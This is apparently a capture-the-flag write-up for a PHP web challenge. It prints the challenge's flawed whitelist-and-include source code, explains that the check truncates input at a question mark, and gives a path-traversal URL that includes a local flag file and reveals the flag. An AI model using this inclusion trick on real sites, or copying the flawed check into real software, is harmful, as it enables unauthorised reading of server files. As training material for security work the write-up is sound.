<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=hint.php
flag not here, and flag in ffffllllaaaagggg
// 1.
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
//2.
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
问题就出现在这一段
1处, 首先将传入的参数以问号处截断,然后判断 ?以前的字符串是否在白名单中,如果在就通过。
那么可以构造一个这样的url试一下
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=source.php?./ffffllllaaaagggg
you can't see it
最后得到这个url ok:
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81?file=source.php?../../../../../../../../../ffffllllaaaagggg
得到flag
flag{99e0c3c4-e30d-48ea-a8ea-f55603c0ec7f}